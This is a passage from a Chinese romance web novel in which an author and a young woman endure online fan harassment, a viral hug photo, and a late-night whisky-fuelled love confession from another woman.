但问题浮现出来的时候, 是不可以忽视掉的。 那些池柚历经过的许多波澜们向她证明:被刻意忽视掉的问题不会凭空消失,它一定会再次、三次、无数次地重复纠缠过来,直到人们学会真正面对它为止。 如果白鹭洲不是真的喜欢她这个人,那么早点想清楚,也是好事。 好在这几天在陵江会比较忙,池柚没有太多时间去胡思乱想。而且柴以曼很关注她的情绪状态,总会及时找话题吸引走她的注意。 看到身边的人都在专心忙着写剧本、做筹备,池柚想:先不考虑云州那边的事了,专心帮好陵江这边的事再说吧。 然而,在这短短几天的差旅中,广播剧的事进行得也不是很顺利。 首先第二天,计划中和CV老师的饭局就没组起来。 约好的CV老师临时有私事,中止了和制作方的合约。眼看其他人员都已到位,制作方着急忙慌地腆着人情面找另一个熟人CV来救场,听说名气比原CV要大许多,各方面来说都不亏,但就是要多等两天大佬的档期。 柴以曼随口问起新CV的名字,庄元宝交叉十指握拳闪着星星眼说: “是温确哎!” 温确。 听到这个名字,柴以曼的嘴角抽了一下。 “那个瘟神?” 庄元宝以为柴以曼口胡了,问她是不是把“温大神”说错成了“温神”。 柴以曼尬笑两声,有台阶就下,没多说什么。 等庄元宝走后,池柚才问起柴以曼喊人家瘟神的原因。 柴以曼叹了口气,将缘由娓娓道来。 “以前温确配过我另一本书的广播剧女主。她人气确实高,而且因为人长得漂亮,粉丝大多都是那种爬墙来的流量粉。那次剧本编排有一些纰漏,第一版的成片效果不太好,虽说确实不是她配音的问题,但她的粉丝还是习惯性拼命甩锅,甚至甩到我的原著上。如果是一般的小作者,可能这种口舌之争过不了多久就会自动平息。可不巧,我的粉丝体量和温确有得一拼,再加上我这张脸长得也不赖,粉丝构成也有很多流量粉。那段时间两边撕得极其难看。后来撕得厉害了,她的粉丝去向上面举报了我的小说,不仅把网络版直接举报下架了,还搞得我整顿了很久,瘟得我一年都没能出新作。” 所以她说这位温确是瘟神,在她的角度来看,真的没什么毛病。 “……今年好不容易挨骂少一点了,看来,腥风血雨又得开始了。” 柴以曼瞥向桌上黑屏的手机,目光少有地沉了下来。 池柚皱了皱眉,问:“姐姐总是会挨很多骂吗?” 柴以曼苦笑,“我们这种要把生活和作品都贡献在大众眼皮子下面的职业,不挨骂才是稀奇事。” 池柚:“那……那咱们还能和温老师坐下来聊角色么?” 柴以曼:“上次那个广播剧我没有监棚,和她本人没有交集过。咱们就祈祷,这位瘟神本人是个正常人吧。” 然而很可惜,她们还没等到和温确的见面来放宽一点心,风浪就先一步翻涌了起来。 温确要担任这次广播剧女主的消息提前走漏到了网上。 不过一天的时间,论坛和微博圈子就炸开了锅,好不容易平息了一段时间的粉丝争斗又因为几个帖子的撩拨而再次拔起。 虽然温确和柴以曼一个是CV,一个是作者,根本都不是一个行当,但两家粉丝俨然已经将对方看作了对家,对家又要合作了,两边互相的阴阳怪气就没停过。 一边说你家姐姐就是看中了我家姐姐的名气,一边说你家姐姐没有我家姐姐写的原著连这份饭都吃不上,撕上头的时候连角色都骂,乃至骂到“唐柠”壳下的原型池柚。 他们说柴以曼这种垃圾作者塑造出这么一个角色,就是为了方便追女主原型的,根本不是为了创作,不配称为作者。 这种言论第一次出现后,那个群体仿佛发现了一个可以大做文章的点,延伸出的言论越来越过分。他们不仅持续攻击柴以曼和池柚,还开始嘲讽书粉,说书粉们都是围观人家真情侣调情的工具人。还说,角色粉要是正常人就应该感到膈应,唐柠都不是一个具有独立人格的角色,还粉下去,就是脑子有泡了。 一时间,多方争议四起,场面愈发混乱。 这是池柚第一次面对这么多陌生的恶意。 网络不比现实。 除开那些青涩校园里不懂事的孩子,现实生活中的陌生人再怎么不理解她,大多也只会以奇怪的目光多打量她两眼。但网络隔着网线,人们打字抒发的恶意总比口中说出的要沉重和具体。 而且那些人似乎认定了柴以曼在意池柚,所以他们觉得,攻击池柚也可以伤害到柴以曼,于是什么难听的话都可以说出来。 说池柚这种人,放在小说里是带感的人设,放在现实里,就是变态。 是怪胎,奇葩。 甚至说池柚,是阴沟里经过文字美化的蟑螂臭虫。 柴以曼本来习惯了面对这些难听的声音,她有一套成熟的自我排解的方式。但这次的风波和往常那些单纯的骂声不太一样,渐渐地,她开始不再沉稳了。 在陵江的第四天夜晚,池柚在给柴以曼还手机充电器的时候,听到她站在窗户前严肃地打电话,应该是给制作方打的。 柴以曼对着电话说,这个项目,要么换掉温确,要么她宁可违约收回授权,付多少违约金都可以。 对方说了句什么,柴以曼语气加重地回:“我不管我的风评怎么跌,跌到以后再也没人找我合作也无所谓!他们再* 怎么骂我我都忍了,但是现在牵连到了无辜的人,我没法再继续无视下去。你们就没有责任吗?我和温确的事之前闹得那么大,你们不可能不知道,没有评估过风险就贸然拉这个人来救场,还为了软宣传不打招呼就提前放出风声,我就算体谅你们也不能……” 池柚走到柴以曼身后,轻轻拉了拉她的袖子,说: “算了,姐姐。” 柴以曼惊讶地看着不知何时站在她后面的池柚,抿了下嘴角,对电话说了句“我先挂了”,垂下握着手机的手。 她头一回没有主动找话题跟池柚聊天,而是沉默下来,看了好一会儿窗外。 池柚看见桌上亮屏的笔记本电脑,上面是一个论坛的界面,帖子里写了什么看不清,隔得太远了。 “你不用在意那些话,就当他们胡说八道。” 池柚安慰柴以曼。 柴以曼皮笑肉不笑。 “如果他们没胡说八道呢?” 她极轻地问。 池柚不明所以地看着柴以曼,忘了眨眼。 “如果我就是因为对你起了兴趣,才写了那本书,就是因为你是女主原型,才拜托堂妹帮我找机会靠近你,你会怎么想?” 柴以曼转过头,凝视着池柚。 “会不会和他们一样,觉得我根本不配当个作者?” 池柚摇头,“不会。” 柴以曼:“你应该仔细把我的话过过脑子,再回答我。” 池柚:“我过脑子了。” 柴以曼:“你刚刚的回答,离我的问题只间隔了一秒。” 池柚:“我很聪明,一秒对我来说,足够了。” 柴以曼怔了怔。 随即,她还是忍不住浅笑了一下。 “姐姐,我们去楼下走走吧。” 池柚总觉得,被那笔记本屏幕光照到的地方,阴霾是散不去的。 “今晚的天气很好,有星星。” 柴以曼:“好。” 两个人没有走得很远,就在酒店附近的小路上散步。 小路依靠着一条宽阔的大江,也就是“陵江市”里的“陵江”。夜风带来江面的凉气,混着青草与湿泥土的味道,令人身心不自觉地放松。 踱步在这样的环境里,柴以曼冷静了不少。 安静地走了一会儿,她主动开口:“抱歉,都是我的原因,连累到你了。” 池柚问道:“为什么这么说?” 柴以曼:“如果当时没有自作主张地以你为原型,写下那本书,没有在注脚里标明你的真名,也没有在采访里提起这些灵感的原委,你就不会被牵连到今天这些纷争里。” 池柚:“我不在意他们说的话啊。” 柴以曼:“我本来也不在意那些骂声,但是……” “如果你是觉得,这次牵连到我了才在意,那我现在告诉你了,我没有被伤害到,你放心。” 池柚温声细语地说。 “如果你是因为别的事情才在意,我也有别的话想对你讲。” “别的……事情?” 柴以曼蹙眉。 “……你要讲什么?” “我之前听人说,没有一个创作者会不爱自己的缪斯。” 池柚背着手,低着头,轻轻地踩上路边凸起的小鹅卵石。 她的声音也轻轻的,比晚风还温柔一些。 “我可能还不配谈得上你的什么缪斯,但我知道,我算是你的灵感来源之一。你作为作者,会对我这样的灵感来源产生好奇,想接近,想认识,很正常。我觉得,这才更是一个优秀创作者的表现。” 柴以曼悄悄侧目看着池柚。 “为什么?” “因为你真的很爱你的作品,也很爱你的角色。” 池柚背在腰后的左手握着右手的腕骨。 “可能对于别的职业来说,私情和工作需要分得很开。但对于作家来说,私情就是工作的一部分。” “姐姐,我虽然不怎么喜欢看文艺作品,但之前,我学习过很多爱情小说。在看过那些小说后,我也去关注过那些作者的微博日常。我发现,她们总是会将生活里亲身经历过的事写进小说里,甚至大部分的灵感来源,都要靠生活里的灵光一闪。她们的作品,就是以她们真实的生活为地基,一点点建立起来的。” 池柚看向柴以曼。 “我明白,你今天生气,有一部分原因,是这件事确实波及到了我。还有另一部分原因,是那些人说的话刺痛到了你,所以你才会失控,还会刚刚在酒店问我那些话。你受了那些人的影响,你开始怀疑你自己的创作素养了。” “不要怀疑。” 池柚的语气很坚定。 “我说这些,就是想告诉你,你没有不配做一个作者,你能和你的书活成一体,牵挂着里面的唐柠,好奇着唐柠在真实世界的另一种样子,你比任何人都爱她。你也比任何人,都更爱你自己的书。” 柴以曼的目光一瞬不瞬地凝在池柚的眼睛里。 池柚别过头去,不好意思地笑了笑。 “也不知道这场风波会怎么过去,不知道你的粉丝们会不会也受到影响,和刚刚的你一样,开始怀疑你的职业生命。但我……” 她语气稍顿。 “我认识的人很少,除了你,也不认识什么作者了。起码在我的世界里,柴以曼,柴门雪,就是我这一秒能想到的,最好,最好,最好的大作家。” 柴以曼停下脚步。 “池柚。” 池柚也停住。 “嗯?” 柴以曼伸出手,放在了池柚的肩上。 随着晚风的方向,她顺着风意轻柔地一拉。 就这么,将池柚拉进了自己怀里。 她抱着猝不及防跌过来的池柚,双臂温和有力地收紧,脸深深地埋下去,在对方耳边轻叹着说: “谢谢。” 在池柚还没来得及做出什么反抗时,柴以曼又道: “只抱一小会儿。” 清冷的夜风依旧在吹。 池柚挽在耳后的长发被拂了出来,轻烟一样细细软软地飘到柴以曼的脖颈处。 柳枝蘸到了温暖的春水,飘落的叶子荡下了细小的涟漪。 柴以曼的眼眶微红,声音渐轻,模模糊糊地,又喃喃出只有她自己能听清的四个字。 “……我的缪斯。” 80-90 第081章 池柚动也不敢动, 僵硬地站在那里。 柴以曼说只抱一会儿,于是她开始下意识数秒。 一秒,两秒, 三秒。 但数着数着,她忽然发现, 她根本不知道该数到多少, 才算是“一会儿”。 “可、可以了吧?” 池柚的声音犹豫着从柴以曼的肩窝里传来。 柴以曼轻笑了一声, 依从着松开池柚,叹道:“这么不喜欢我抱你啊。” 池柚:“……很别扭。” 柴以曼微微弯了腰,平视着池柚, 仔细看她脸色的表情,“是害羞,还是反感?” 池柚低下头,“不知道, 反正……别扭。” 柴以曼垂眸, 盯了一会儿池柚的手。 她抿了下嘴唇,询问对方: “今天可以牵你的手回去吗?” 池柚沉默了一会儿。 “不想。” “好。” 柴以曼没有再逼问勉强,点点头,转身继续向前走。 她背着手, 檀木手串在她纤细的手腕上有些显眼, 随着她走路的幅度微微摇晃。 “如果有一天可以牵了,记得告诉我。或者你可以直接来牵我。你想牵我的话, 不用过问我。” 池柚没说话。 她跟在柴以曼后面, 开始有了一点点后悔。 她在想,自己刚刚是不是说得太多了。 她的本意只是想安慰柴以曼, 不想眼睁睁看着柴以曼因为网络上一些陌生人的话走入误区。可是刚刚柴以曼忽然抱住她,以及想牵她手的样子, 让她忽然意识到,她的那些话可能不仅解决了柴以曼的困惑,也催化了柴以曼对她的感情。 但她对柴以曼感情的成熟度,却并没有与柴以曼同步。 这让池柚有一种可能会辜负对方的预感。 她不喜欢这样的感觉,她最不愿意看到的就是自己给别人带来负面影响。 可是…… 喜欢这种事情,从来也都是勉强不得的。 池柚引开了话题,她劝柴以曼为了作为一个作者在衍生合作业的口碑,在制作方和温确都没有表态的情况下,不要主动终止这次的合作。 柴以曼此时也冷静了下来,她点头表示池柚说得对,就算这次因为舆论而需要终止,也不该由她来做这个坏人,背这个锅。 柴以曼在回去的路上就给制作方发了消息,收回了在酒店说的那些话。制作方很高兴,她说其实大家都还是在期待这次的合作,尤其是温确,温确刚刚还亲自打电话给制作方这边,说希望可以尽力安抚柴以曼,让她不要受网络舆论的影响。 看起来,温确本人应该挺好相处的。 其实如果能够抛开网络上的那些嘈杂的声音,单就他们几方真正参与制作的人来说,他们之间是没有什么太大的问题的。只要沟通调整好,一切都会往好的方向发展。 但事情仍旧没有想象中那么顺利。 这一波还没来得及平息,新的一波风浪又拔地而起。 不过短短一天的时间,温确粉丝的闹事变成了一个过去式的矛盾。 因为,在第二天的饭局还没到来时,柴以曼这边出了事。 ——昨晚晚间,柴以曼和池柚在陵江边散步,被人拍到了。 而且。 不止拍到了她们俩并肩散步,还拍到了她们那个短暂的拥抱。 不知道拍摄者是什么身份,可能是路过的谁的粉丝,也可能是酒店里能接触到这次广播剧制作的人。不论如何,这个人知道柴以曼和池柚的身份,照片发到微博上的时候,这人明确点出了她们的名字。 柴以曼的名气属于那种,不接触她这一类型的文圈的人估计不太会认识她,但只要是接触她写作类型那个圈子的人,一定会被各个app的大数据推送到她的各种消息,就算没看过她的书,也肯定知道这个人。她平时一条微博发出去,起码也是两三千的评论量打底,不比一些糊糊小明星少。 按理说,就算她有名气,一个作者的花边星闻也不会有太多路人关注,这次的照片搁在平时不会引起太大波澜,论坛上讨论几天,粉丝们八卦一下也就过去了。 但这次刚好就撞上了和温确粉丝的撕架大战,战火正浓,正是缺话题扯大旗的当口。 于是两方撕扯的热度,直接把这条微博送上了一个低位热搜。 池柚很少看微博。这么多年,她手机里的微博不卸载,只是为了偶尔去看看白鹭洲的那个小号都发了什么。她连热搜界面都不会点进去。这次的事,还是柴以曼告诉她她才知道的。 “实在抱歉,又给你带来麻烦了。” 柴以曼垂下的手握着亮屏的手机,看起来刚刚是在跟谁沟通着什么。 “我已经联系了我能联系到的人,你放心,这条热搜本来就在很低的位置,很快就会撤掉的。” “没事。” 池柚不在意这种事情,在她不会去留意的领域里,旁人再怎么议论她她也没关系。反正她又不看。 就像……如果有个类似柴以曼的作家在书里把她写死,或者写成个傻子,她也无所谓,因为她也不看那些书。 池柚的思维进行到这里时忽然一滞。 她自己是不看,可…… 白鹭洲会看吗? 说起白鹭洲,她已经来陵江好几天了,自从那天在机场和白鹭洲分别后,白鹭洲就再也没联系过她。微信没动静,微博小号上也没动静,整个人跟消失了一样,再无音讯。 不知道是在忙,还是在回避和她的交流。 是一个人静下了心,在认真地思考那个关于“到底爱的是池柚这个人还是池柚带给她的安全感”的问题? 还是已经思考出了结果,现在的沉默,就是给她的回答? 还有,白鹭洲有没有看到今天那个短暂地上了一下低位热搜的微博?有没有看到柴以曼抱她的照片? 那些照片…… 池柚还没有点进去看过那些照片照成了什么样,她本来没什么兴趣,但想到白鹭洲可能会看到,便拿起手机点进了微博。 那个低位热搜还没下掉,排在第43,位置还算不起眼。 点进去,第一条就是九宫格偷拍照。 背景很黑,毕竟是深夜,路灯的光没有打到那里。是从侧面拍的,画质很一般,但是可以辨认出柴以曼的侧脸,柴以曼低着头抱住怀里的人,手臂收得很紧。 虽然柴以曼的侧脸挡住了池柚,可池柚的身形很好认,而且她身上穿的是柴以曼的外套,柴以曼这件外套之前在分享日常的微博照片里出现过——这一点无疑也被扒了出来,正被人揪着在评论区里大做文章。 柴以曼也在看评论区,皱着眉喃喃:“早知道那天带你去买衣服时多买件外套了,当时只想着买T恤,结果外套还是……” 池柚心里隐隐有了些不安,“姐姐要发个微博澄清一下吗?” 柴以曼:“按我的经验的话,这种时候不论我回应什么,都只会让热度不减反增。不过如果你觉得需要,我可以立刻去澄清。” 池柚:“……算了。” 其实池柚想要解释的对象只有白鹭洲。 她发现,当她和白鹭洲遇到像今天这样真的会引起重大误会的事件时,她根本就顾不上自己累不累,委不委屈,她只会担心,还有害怕。 担心白鹭洲看到以后会难过。 更害怕白鹭洲看到以后,不难过了。 于是又转回了最初的那个问题。白鹭洲到底喜欢她吗?现在有没有想明白这个问题呢?是不是已经想清楚要放弃了呢? 还会难过吗? 需要她再去解释吗? 池柚发现,今天她的心里,出现了比以往任何时候都要多的问句。 心里问句出现太多,在爱情小说里,在电视剧里,都代表着这个人开始患得患失了。 然而“患得患失”这个词出现在她和白鹭洲之间,显得异常讽刺。 ……她得到过白鹭洲吗? 又多了一个问句。 池柚想不出这所有问句里的任何一个答案,她转头看向窗外。 天黑了,窗外的树丛被风刮得簌簌作响。在这里,她可以看见昨晚她和柴以曼散步走过的江边小路。 发了一会儿呆后,池柚意识到时间晚了,于是站起来向柴以曼告辞,回自己房间去休息。 在走廊上时,池柚还是忍不住靠在了墙边,拿出手机,在微信界面,指尖悬在白鹭洲的对话框上犹豫。 半晌,她点进去,慢慢地谨慎敲打出几个字。 【老师,你——】 打到一半,她伫立良久。 该怎么开头,该说些什么。 池柚打了删,删了打,最后编辑出一句试探的问话。 【老师,你今天看微博了吗?】 她握着手机,等待的时候将屏幕背过去,指尖冰凉。 在心里默默地数了会儿数字,数了足足一分钟,她才再次翻过手机,看有没有回复。 白鹭洲回了。 在她发送消息十秒之后,就回了。 白鹭洲:【如果你是指你和她被拍的照片,我看到了。】 文字消息的缺点就是,如果这个人不习惯带表情包或者加赘余的标点符号,那么很难从苍白的一句话中准确读到对方的情绪。 看不出是无所谓的单纯回答问题,还是也带着不悦。 池柚紧张地喘出一口气,打字:【不是那些网友说的那样,我们没有卿卿我我,我们别的什么都没做,就只是抱了一下。】 发完上一句,池柚又马上编辑了下一句:【那个抱也不意味着什么,就是我们遇到了一些事,我安慰了柴姐姐,她为了感谢我才抱我。】 紧接着第三段:【就抱了十秒,我数着呢,一秒都不多。因为柴姐姐说想抱一会儿,我想,“一会儿”大概就是十秒的样子吧,所以数够十秒以后,我们就没抱了。】 池柚发送完这三段话后,还想继续写,指尖飞速地打字。 正敲着手机键盘,对话框里,白鹭洲的新消息突然将她的三条长消息向上一顶。 【你是在跟我解释吗?】 池柚愣了愣。 她静止了片刻,删去消息框里打了一半的字,回复白鹭洲: 【是。】 白鹭洲:【你的意思是,现在,我可以听你的解释了?】 白鹭洲:【不用考虑你在想什么,在做什么,需要权衡些什么。不用考虑,我是不是在逼你,是不是我太着急了?】 池柚仿佛无法思考似的,下意识打出一个字回复: 【是。】 白鹭洲:【那你下来吧。】 池柚:【什么?】 白鹭洲:【我在你酒店楼下,你可以下来,和我面对面。】 池柚呆呆地看着手机屏幕上的消息。 白鹭洲:【我等很久了。】 白鹭洲:【让我亲耳听一听你的解释,可以吗?】 第082章 池柚气喘吁吁地从酒店跑出来, 胸口剧烈地起伏,在被不怎么明亮的路灯照明中寻找着那个等待她已久的人的身影。 她找得很轻松,在向左边看的第一眼, 就看到了她。 深夜,路上本就没有什么人和车。 影影绰绰的树影里, 白鹭洲长长的影子叠在树上。她没有倚靠什么东西, 就直直地站着, 安静地注视着跑出来的池柚,被月色与夜雾笼罩得仿佛一个幻象。 夜色寒凉,白鹭洲穿了一件白色的长外套, 领口处隐约露出里面的白衬衣。她手里拎着一个包,肩后斜背了一个长布袋,很大,看起来是装琵琶的包裹。 长外套的制式很简约, 没有太明显的现代化风格。加上被掩住的衬衣, 与琵琶的长布包,让人感觉这条路的另一头不是红绿灯,不是十字路口,而是稍久远一点的上个世纪。 白鹭洲就从那个遥远又疏离的时代, 刚刚走来。 池柚走上前, 目光在白鹭洲肩后的琵琶布包上停留了片刻。 “这个……” “我今天白天在苏江演出。演出完后没有回家,从苏江直接来了陵江。” 白鹭洲的眼睛里确实有奔波和劳累过后的疲惫。 “没来得及放琵琶, 到陵江我就直接来这里了。”话落, 又补一句:“柴以曼之前和我说过你们住的酒店,所以我找得到。” 池柚向身后的酒店瞥了眼。 “我去给你开个房, 你先休息一下。” 白鹭洲摇摇头,“不了, 明天还有课要上,我凌晨就得回云州去。” 池柚:“这么急吗?” 白鹭洲:“嗯,最近有点忙。” 池柚:“那……”那也不好就站在这儿聊天吧。 白鹭洲抬腕看了一下表,说:“这个时间点,外面没有什么开着的餐厅了。” 池柚忙问:“饿了吗?” “有点,中午和下午都没顾得上吃饭。”白鹭洲捯了一下手里的包,拿出手机,“还是和上次一样,找一家能吃东西的酒吧好了。” 她们需要静坐下来,好好聊一聊。 白鹭洲和池柚都明白这一点。 池柚乖乖地等着白鹭洲找好酒吧,叫了网约车。等车到了,她们一起坐上后排,前往她们即将要谈论很多事情的地方。 池柚有些紧张地别过头看车窗外。 感觉很奇妙。 她意识到,过一会儿就会迎来一段和白鹭洲独处的时间,她们会聊天,会喝东西吃饭。吃什么不确定,具体聊什么也不确定,可是不论吃什么聊什么,这段即将到来的独处都让她心里抑制不住地滋生出期待。 或许是因为这几天的断联。 也或许是因为她今天,患得患失太多了。 白鹭洲横抱着琵琶布包,低着头摩挲着琴颈位置,忽然开口: “晚上吃饭了吗?” 她的这句问话声音很轻,嗓子里,不自觉地带出了一点长时间唱评弹过后的沙哑。 池柚:“好像吃了吧……” 白鹭洲:“好像?” 池柚:“记不太清了,今天柴姐姐他们都在忙那条热搜的事,我也跟着听,整个下午都过得乱乱的。” 白鹭洲“嗯”了一声,没再说话。 池柚悄悄转过头,偷看白鹭洲。 从刚刚见到白鹭洲开始,白鹭洲的脸上就看不出什么明显的情绪。她还是和往常一样,淡淡的,无法分辨那种“淡”是温和还是冷漠。没有急切,没有怒气,叫人拿捏不准她此时的心情。 而且她此时闭上了眼睛,关住了最后一扇装着秘密的窗户。 池柚:“老师……” 白鹭洲没有睁开眼,轻声说:“还有二十分钟到酒吧,我想休息一下。可以等到二十分钟后再说吗?我今天……”她抿了抿嘴唇,“真的有点累了。” 池柚:“好,你休息。” 于是一路再无话。 到了酒吧,白鹭洲走在前面,卡递出去,让服务员开了个卡座,再随便上点招牌菜和酒。 她背着琵琶站在纷扰的灯红酒绿中,颀长的背影看起来更添了几分清冷。 ——有时候,冷和热一样,都是需要对照物来反衬的。 她们在卡座里坐下时,酒就先上来了。 池柚正想问白鹭洲要不要像上次一样点壶茶或者白水,却见白鹭洲翻起一个玻璃杯,给自己的杯子里倒了半杯的威士忌。 “你先说,还是我先说?”白鹭洲问。 池柚:“啊?” 白鹭洲:“你是想先说解释的话,还是想先听我说一些我想说的话?” “……都行。” 池柚顿了顿,沉思片刻。 “我怎么感觉,我好像把该说的,都已经在微信上说得差不多了。” 其实这件事本来就不复杂,几句话就可以解释清楚。 是为了安慰,没有别的意义,微博都是断章取义,评论区都是无中生有。池柚在微信上发的几段话虽然匆忙,但也都传达到了这些意思。 “可以再亲口和我说一遍吗?” 白鹭洲端起酒杯,抿了一小口酒,注视着池柚的眼睛平静如古井。 池柚问:“是我有哪里没说清楚吗?” 白鹭洲:“不,你说得挺清楚的。” 池柚:“那为什么……” 为什么还要重复一遍呢? “因为内容不重要。” 白鹭洲的手指像摩挲琴颈一样摩挲杯子,漂亮的指尖泛着红,是今天长时间弹琵琶留下的痕迹。 “我只是想亲眼看你解释给我听的样子。” 池柚咬住嘴唇,看着白鹭洲,半晌,牙齿才松开下唇。 她的目光变得柔软了许多,开始慢慢地和白鹭洲详细地说起这两天发生的所有事。细到她能想起来的每一句话,和每一个当时的语气。 白鹭洲安静地听,眼底越来越深。 到后面,深到池柚都有些害怕,她感觉到,这种眼神的背后一定酝酿了巨大的情绪,和某些愈发坚定的决定。 就像许多年前见父亲最后一面时,父亲看她的那一眼。 “……我说完了。” 池柚草草收尾,被脑中凌乱的思绪干扰到了,嘴角不自觉地下垂了些许。 “嗯。” 白鹭洲又喝了一口酒,沉吟片刻。 “那就该我说了。” 酒吧的音响切换到了一首舒缓悠扬的音乐,嘈杂声没有之前那么大。似乎也在对她们的对话好奇,想小声一点,侧耳听听。 “这几天,我一直在等你联系我。” 白鹭洲握着玻璃杯,缓慢地绕圈摇晃里面的酒液。 “但一直等不到,所以,我想了很多。” 池柚的双手紧紧握住杯子。 “想……什么了?” 白鹭洲抬起眼。 “这三个月,我不想等了。” 酒吧的背景音乐,应景地静音了一秒。 随后,磅礴激昂的旋律猛地袭来,一楼舞池里的男男女女跟随音乐更加激烈地跳动,声音杂乱得听不清任何除了音乐之外的人声。 灯光也在忽明忽暗地闪烁,光影狂乱地游走在人的脸上。 一切都变得虚幻荒芜。 池柚好半天都忘记了呼吸。 等她反应过来时,激烈的音乐已过去,嘈杂声减弱了许多。她的胸口也已经闷得痛了。 她沉沉地吐出一口气,握着杯子的手攥得发白,忽然抬起,含着杯沿喝了一小口,以此缓和自己心里那平地而起的疼涩。 不想……等了…… 白鹭洲也喝了一大口酒。 她的眼睛染上了微红的酒意。 “也没必要等了。” 池柚强忍着声音里的颤抖。 “是吗。” “是。” 白鹭洲又喝了口酒。 “不必等三个月后了。” 池柚瞥向地面,不敢眨眼,怕眼眶里的湿润凝落出来。 白鹭洲定定地看向池柚。 “不用三个月,我现在就可以告诉你,我喜欢你。” 话落,池柚惊诧地回过头,忘记了控制情绪,下眼睑边滑下一道反光的湿痕。 “我现在很确定,我喜欢你。喜欢池柚这个人,不只是喜欢你带给我的安全感。” 白鹭洲一字一句地,认真地说。 停顿须臾。 “这些天,我很想来见你,想告诉你,那天在机场我问你什么时候回来,不是急着听你给我解释什么,而是有另一件筹备很久的重要的事,想要带你去看看。但我知道,只要我出现在你面前,不论说不说话,说什么话,都会造成对你的压力。所以我不敢联系你,只能等你主动来联系我。” 白鹭洲隐隐地挑了下唇角,似是苦笑。 “我在等待的时候,感受并不好,很痛苦,很煎熬。没有任何安全感了。尤其是看到那条微博热搜以后,那可能……是我这辈子最没有安全感的时候了。” 她看着池柚。 “可是,我还是愿意等。” “忍住对你的欲望也是。” 白鹭洲说到这里,暂停了几秒,再次喝了一大口酒。 “其实我对你一直都有很多想法,很过分的想法,一秒都没有停止过。但想到你还那么青涩,那么单纯,我也可以忍着。即便忍的过程……真的……很难受。” “还有,今天一整天的行程都很紧,我很累。仔细想想,好像不止是午饭和晚饭没有吃,早饭也忘记吃了,很饿。可站在你酒店的楼下等你,等很长时间,我没有一点点觉得,有哪里不值得。” 白鹭洲的眼中已然盛起了恍惚。 她浅薄的酒量显然再兜不住她这样强烈的饮酒。 “痛苦,煎熬,难受,累,饥饿。这些全部加在一起,我也还是不愿意放弃你。” 她身上的冰霜,正在彻底地融化。 “它们足够让我确定,你在我的心里,已经排在了我自己之前。我喜欢你,胜过喜欢我自己。” “所以,不用等三个月了。” 她喝下了杯中仅剩的一口酒。 “池柚,不论你最后选不选择我,不论你对我到底是不是无关爱情的雏鸟情节,我都承诺你:从今天开始,我回馈给你的,一定是不计得失的,纯粹的‘喜欢’。” 语气稍顿。 “或者,你也可以觉得,是‘爱’。” 第083章 服务员端上了他们的常规招牌菜。 一份金灿灿的炸粗薯, 两份切好的烤牛肉,还有一碟精致的水果沙拉。 白鹭洲说完那些话后,池柚整个人都凝固住了似的, 一动不动。 刚刚白鹭洲在空着胃的情况下喝完了半杯威士忌,现在胃里像火烧一样。她在等待池柚反应的时候, 用叉子叉了几块水果吃。 她虽然饿, 但进食欲望很低, 吃东西只是为了缓解胃部的灼痛。 吃了两口以后,延后涨起的醉意卷入白鹭洲的大脑,一阵眩晕, 让她眯起眼睛晃了晃脑袋。 池柚不知道自己在想什么,她的意识一片空白,能感觉到什么东西在翻涌,可她混乱地看不清那东西的具体轮廓。 她忽然注意到白鹭洲的状态有些不对, 忙放下自己的心绪, 向白鹭洲那边坐了一截。 卡座是圆弧形座位,池柚很轻易就挪到了白鹭洲身边。 “你没事吧?” 池柚扶住了白鹭洲的胳膊。 “没事。” 白鹭洲低低地回答。 “只是有点晕。” 池柚:“你一大早不是还要回云州去上班吗,怎么刚还喝酒?” 以前要是有工作,白鹭洲连咖啡都不会喝的。 白鹭洲:“……不喝点酒, 我怎么让自己说出那些话。” 池柚闻言, 悄悄地红了耳朵。 白鹭洲转过头,看着池柚, “我刚刚说得清楚吗?” 池柚回避白鹭洲的目光, 轻飘飘地“嗯”一声。 白鹭洲:“你明白我的意思了吗?” 池柚:“明、明白了。” 白鹭洲:“那就好。” 白鹭洲的胳膊从池柚的搀扶中抬起,她扶住桌子, 晃悠地站起来。 “我先走了。” 池柚下意识也跟着站* 起来,说:“你这个状态, 怎么走?反正早上才走,要不,先跟我回酒店,在我房间里睡一会儿。” 白鹭洲的动作停住。 她深深地看向池柚的眼睛。 “你真的听明白我刚刚说的所有话了吗?” 池柚:“……什么意思?” 白鹭洲沉默。 有些话,她不会再赘余地说第二次,只等池柚自己去悟。 池柚思细片刻,猛地醍醐灌顶。 ——“其实我对你一直都有很多想法,很过分的想法,一秒都没有停止过。” ——“我可以忍着。” ——“忍的过程,真的,很难受。” 过分的想法…… 池柚的脸瞬时红了大半。 “你都……累成这样了,还喝酒了,还会……想吗?” 她的声音轻得像蚊子哼哼。 好在这会儿酒吧停了音乐,白鹭洲离她又近,才听清了这句话。 “会。” 而且喝了酒后,更想了。 池柚咬了咬牙,“那你再忍忍,你现在不能一个人走的,很危险。我……我又不和你睡一张床,我坐沙发上,你真的需要休息。” 白鹭洲:“你确定吗?” 池柚没说确不确定,只说:“我相信老师。” 白鹭洲点头,答应了。 但她心里在想,或许池柚不该这么相信她。因为这一刻,她自己都不怎么相信自己。 池柚叫来服务员,将没怎么吃的东西都打包了,没开瓶的酒水全退掉,然后扶着白鹭洲走出酒吧,打出租车回酒店。 池柚不是没有想过单独给白鹭洲开间房,然而清醒的白鹭洲可以自己睡,喝了酒的白鹭洲一个人睡,她不放心。 酒吧的杯子很大,半杯高浓度的威士忌,很有可能让一个酒量浅的人半夜被呕吐物呛死。 她看过的尸检报告里,这种案例可不少。 回到酒店房间,池柚将白鹭洲放到床边坐下,自己去安置手里拎着的食物,还有肩上帮白鹭洲背回来的琵琶。 “你刚刚都没吃几口,要是饿了和我说。楼下有微波炉,我拿去给你热一热。” 白鹭洲靠在床头,抱着胳膊,垂下的睫毛遮住泛红血丝的眼睛。 “早点睡吧,老师。” 池柚回过头,看了看此时没什么力气的白鹭洲。 “需要我帮你脱外套吗?” “我自己脱,你把灯关一下吧,亮得我头有点疼。” 白鹭洲动作迟缓地慢慢脱下外套,搭在旁边的椅背上,往下睡了一些。 池柚便去开了床头的小夜灯,关了明亮的顶灯。 她见白鹭洲已经睡下,乖乖地走到沙发边,很轻地窝进去。 因为担心白鹭洲会有什么喝水或者去卫生间的需求,她也没敢睡,拿着手机随便点着玩儿。想起那条热搜的事,她还专门点进微博看了一下,热搜已经没有了。 微信里,柴以曼在两个小时前给她发过消息,说明天下午温确就会到陵江,她们需要一起去和温确吃个饭。 池柚简单回复道:【好的。】 退出微信,又看了会儿微博。在广场里乱逛的时候,手机顶端弹出了柴以曼回复的新消息。 是一条语音消息。 